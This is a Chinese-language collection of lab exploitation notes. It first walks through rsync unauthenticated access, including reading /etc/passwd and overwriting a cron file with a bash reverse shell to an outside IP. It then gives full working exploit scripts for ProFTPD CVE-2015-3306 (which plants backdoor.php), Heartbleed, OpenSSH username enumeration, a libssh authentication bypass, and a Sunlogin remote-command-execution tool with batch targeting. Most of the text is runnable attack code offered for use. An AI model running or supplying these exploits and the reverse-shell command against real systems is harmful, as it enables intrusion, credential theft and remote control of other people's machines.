打开靶场
判断漏洞是否存在
rsync rsync://目标ip:端口
读取文件
rsync rsync://47.99.49.128:873/src/tmp/
下载文件
rsync rsync://47.99.49.128:873/src/etc/passwd ./
上传文件
rsync -av passwd rsync://47.99.49.128:873/src/tmp/passwd
获取shell
查看crontab中的内容,发现有一个每17分钟执行一次/etc/cron.hourly文件的定时任务
rsync rsync://47.99.49.128:873/src/etc/crontab ./
发现每17分钟执行/etc/cron.hourly文件,我们创建一个反弹shell的文件覆盖该文件
vim shell
内容:
bash -i >& /dev/tcp/120.46.39.24/8848 0>&1
赋权:chmod +x shell
覆盖文件:
rsync -av shell rsync://47.99.49.128:873/src/etc/cron.hourly
MSF批量验证
use auxiliary/scanner/rsync/modules_list 进入rsync漏洞扫描模块
show options 查看模块配置方法
set rhosts file:/tmp/ip.txt 批量扫描,指定字典
set threads 10 配置线程
【+】代表有漏洞,【*】没有
https://github.com/t0kx/exploit-CVE-2015-3306
打开靶场
EXP
#!/usr/bin/env python
# CVE-2015-3306 exploit by t0kx
# https://github.com/t0kx/exploit-CVE-2015-3306
import re
import socket
import requests
import argparse
class Exploit:
def __init__(self, host, port, path):
self.__sock = None
self.__host = host
self.__port = port
self.__path = path
def __connect(self):
self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.__sock.connect((self.__host, self.__port))
self.__sock.recv(1024)
def __exploit(self):
payload = ""
self.__sock.send(b"site cpfr /proc/self/cmdline\n")
self.__sock.recv(1024)
self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
self.__sock.recv(1024)
self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
self.__sock.recv(1024)
self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))
if "Copy successful" in str(self.__sock.recv(1024)):
print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")
print("[+] Running whoami: " + self.__trigger())
print("[+] Done")
else:
print("[!] Failed")
def __trigger(self):
data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")
match = re.search('cpto /tmp/.([^"]+)', data.text)
return match.group(0)[11::].replace("\n", "")
def run(self):
self.__connect()
self.__exploit()
def main(args):
print("[+] CVE-2015-3306 exploit by t0kx")
print("[+] Exploiting " + args.host + ":" + args.port)
exploit = Exploit(args.host, int(args.port), args.path)
exploit.run()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--host', required=True)
parser.add_argument('--port', required=True)
parser.add_argument('--path', required=True)
args = parser.parse_args()
main(args)
执行exp
python3 exploit.py --host 47.99.49.128 --port 56714 --path "/var/www/html"
执行命令
:57867/backdoor.php?cmd=id
受影响版本
OpenSSL 1.0.2-beta
OpenSSL 1.0.1 - OpenSSL 1.0.1f
打开靶场
MSF进行验证
search heartbleed 查找攻击模块
use auxiliary/scanner/ssl/openssl_heartbleed 选择攻击模块
show options 查看需要设置的参数
set RHOST 设置对应的主机
set RPORT 设置对应的端口
set verbose true 设置verbose为true是为了 看到泄露的信息
run 执行
EXP获取敏感数据
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import binascii
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s: bytes):
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % c for c in lin)
pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
print(' %04x: %-48s %s' % (b, hxdat, pdat))
print("")
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = b''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print('Unexpected EOF receiving record header - server closed connection')
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print('Unexpected EOF receiving record payload - server closed connection')
return None, None, None
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print('No heartbeat response received, server likely not vulnerable')
return False
if typ == 24:
print('Received heartbeat response:')
hexdump(pay)
if len(pay) > 3:
print('WARNING: server returned more data than it should - server is vulnerable!')
else:
print('Server processed malformed heartbeat, but did not return any extra data.')
return True
if typ == 21:
print('Received alert:')
hexdump(pay)
print('Server returned error, likely not vulnerable')
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Connecting...')
sys.stdout.flush()
s.connect((args[0], opts.port))
print('Sending Client Hello...')
sys.stdout.flush()
s.send(hello)
print('Waiting for Server Hello...')
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print('Server closed connection without sending Server Hello.')
return
# Look for server hello done message.
if typ == 22 and pay[0] == 0x0E:
break
print('Sending heartbeat request...')
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
影响版本:OpenSSH < 7.7
打开靶场
MSF进行验证
use auxiliary/scanner/ssh/ssh_enumusers
使用POC进行验证
#!/usr/bin/env python
###########################################################################
# ____ _____ _____ _ _ #
# / __ \ / ____/ ____| | | | #
# | | | |_ __ ___ _ __ | (___| (___ | |__| | #
# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
# | |__| | |_) | __/ | | |____) |___) | | | | #
# \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
# | | Username Enumeration #
# |_| #
# #
###########################################################################
# Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473) #
# Vulnerability: CVE-2018-15473 #
# Affected Versions: OpenSSH version < 7.7 #
# Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT #
# Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit #
# Email: [email protected] #
# Date: August 20, 2018 #
###########################################################################
import argparse
import logging
import paramiko
import multiprocessing
import socket
import string
import sys
import json
from random import randint as rand
from random import choice as choice
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
# list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
# with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
random_username_list = []
# populate the list
for i in range(3):
user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
random_username_list.append(user)
# create custom exception
class BadUsername(Exception):
def __init__(self):
pass
# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
pass
# create function to call when username was invalid
def call_error(*args, **kwargs):
raise BadUsername()
# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_parse_service_accept(*args, **kwargs)
#return old add_boolean function so start_client will work again
paramiko.message.Message.add_boolean = old_add_boolean
return result
# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
sock = socket.socket()
sock.connect((args.hostname, args.port))
# instantiate transport
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
# server was likely flooded, retry up to 3 times
transport.close()
if tried < 4:
tried += 1
return checkUsername(username, tried)
else:
print('[-] Failed to negotiate SSH transport')
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
except BadUsername:
return (username, False)
except paramiko.ssh_exception.AuthenticationException:
return (username, True)
#Successful auth(?)
raise Exception("There was an error. Is this the correct version of OpenSSH?")
# function to test target system using the randomly generated usernames
def checkVulnerable():
vulnerable = True
for user in random_username_list:
result = checkUsername(user)
if result[1]:
vulnerable = False
return vulnerable
def exportJSON(results):
data = {"Valid":[], "Invalid":[]}
for result in results:
if result[1] and result[0] not in data['Valid']:
data['Valid'].append(result[0])
elif not result[1] and result[0] not in data['Invalid']:
data['Invalid'].append(result[0])
return json.dumps(data)
def exportCSV(results):
final = "Username, Valid\n"
for result in results:
final += result[0]+", "+str(result[1])+"\n"
return final
def exportList(results):
final = ""
for result in results:
if result[1]:
final+="++++++" + result[0] + " is a valid user!\n"
else:
final+=result[0]+" is not a valid user!\n"
return final
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
def main():
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
sock.close()
except socket.error:
print('[-] Connecting to host failed. Please check the specified host and port.')
sys.exit(1)
# first we run the function to check if host is vulnerable to this CVE
if not checkVulnerable():
# most probably the target host is either patched or running a version not affected by this CVE
print("Target host most probably is not vulnerable or already patched, exiting...")
sys.exit(0)
elif args.username: #single username passed in
result = checkUsername(args.username)
if result[1]:
print(result[0]+" is a valid user!")
else:
print(result[0]+" is not a valid user!")
elif args.userList: #username list passed in
try:
f = open(args.userList)
except IOError:
print("[-] File doesn't exist or is unreadable.")
sys.exit(3)
usernames = map(str.strip, f.readlines())
f.close()
# map usernames to their respective threads
pool = multiprocessing.Pool(args.threads)
results = pool.map(checkUsername, usernames)
try:
if args.outputFile:
outputFile = open(args.outputFile, "w")
except IOError:
print("[-] Cannot write to outputFile.")
sys.exit(5)
if args.outputFormat=='json':
if args.outputFile:
outputFile.writelines(exportJSON(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
else:
print(exportJSON(results))
elif args.outputFormat=='csv':
if args.outputFile:
outputFile.writelines(exportCSV(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
else:
print(exportCSV(results))
else:
if args.outputFile:
outputFile.writelines(exportList(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in List form.")
else:
print(exportList(results))
else: # no usernames passed in
print("[-] No usernames provided to check")
sys.exit(4)
if __name__ == '__main__':
main()
影响版本
libssh 0.6 及更高版本具有身份验证绕过漏洞。
libssh 版本 0.8.4 和 libssh 0.7.6 已发布,以解决此问题。
打开靶场
EXP
因其正常连接需要输入密码,使用 EXP 向服务器显示SSH2_MSG_USERAUTH_SUCCESS
消息
代替服务器等待的SSH2_MSG_USERAUTH_REQUEST
消息,以达到无登录凭据认证
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
漏洞安装包下载:https://download.csdn.net/download/weixin_46029520/88782063
影响客户端版本:
11.1.1
10.3.0.27372
11.0.0.33162
发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000
的端口号
EXP
Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
python exp.py -i 127.0.0.1 -p 20038 -c "net user"
python exp.py -f targets.txt -c "whoami"
from optparse import OptionParser
import requests
import json
def title():
print("""
╔═╗┬ ┬┌┐┌╦ ┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐
╚═╗│ ││││║ │ ││ ┬││││───╠╦╝│ ├┤ =.=
╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘ ╩╚═└─┘└─┘
By:J2ekim
向日葵v11.x RCE
""")
def gettoken(ip, port):
print("http://" + ip + ":" + port)
url = "http://" + ip + ":" + port + "/cgi-bin/rpc?action=verify-haras"
try:
res = json.loads(requests.get(url,verify=False, timeout=5).text)
# print(res['verify_string'])
return res['verify_string']
except requests.exceptions.ConnectTimeout as _:
print ("fail", "ConnectTimeout")
except Exception as _:
print ("fail", "Error")
def RunCmd(ip, port, command,token):
poc1 = "http://" + ip + ":" + port + "/check?cmd=ping../../../../../../windows/system32/" + command
# poc1 = "http://" + ip + ":" + port + "/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+"+ cmd
cookies = {"CID": token}
# print(cookies)
try:
resu = requests.get(poc1, cookies=cookies, timeout=5,verify=False).text
print(resu)
except Exception as _:
return ("fail", "Error_")
def getshell(url,command):
try:
print(url)
vul_url = url + "/cgi-bin/rpc?action=verify-haras"
reps = json.loads(requests.get(vul_url, verify=False, timeout=5).text)
verify_string = (reps['verify_string'])
cookies = {"CID": verify_string}
poc11 = url + "/check?cmd=ping../../../../../../windows/system32/" + command
poc_reps = requests.get(poc11, cookies=cookies, timeout=5, verify=False).text
print(poc_reps)
except TimeoutError:
print("timeout")
except Exception:
print("error")
def batch_getshell(filename,command):
with open(filename, mode="r", encoding="utf-8") as f:
for url in f:
if "http" not in url:
url = "http://" + url
getshell(url,command)
else:
getshell(url, command)
def main(host,port,command):
try:
token = gettoken(host, port)
RunCmd(host, port, command, token)
except requests.RequestException as e:
print(e)
if __name__ == '__main__':
title()
usage = ("""Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
python exp.py -i 127.0.0.1 -p 20038 -c "net user"
python exp.py -f targets.txt -c "whoami" """)
parser = OptionParser(usage=usage)
parser.add_option('-i', '--ip', dest='ip')
parser.add_option('-p', '--port', dest='port')
parser.add_option('-c', '--command', dest='command')
parser.add_option('-f', '--file', dest='file')
(option, args) = parser.parse_args()
host = option.ip
port = option.port
command = option.command
file = option.file
if host is None and command is None and port is None :
print(usage)
elif file is not None:
batch_getshell(file,command)
else:
main(host, port,command)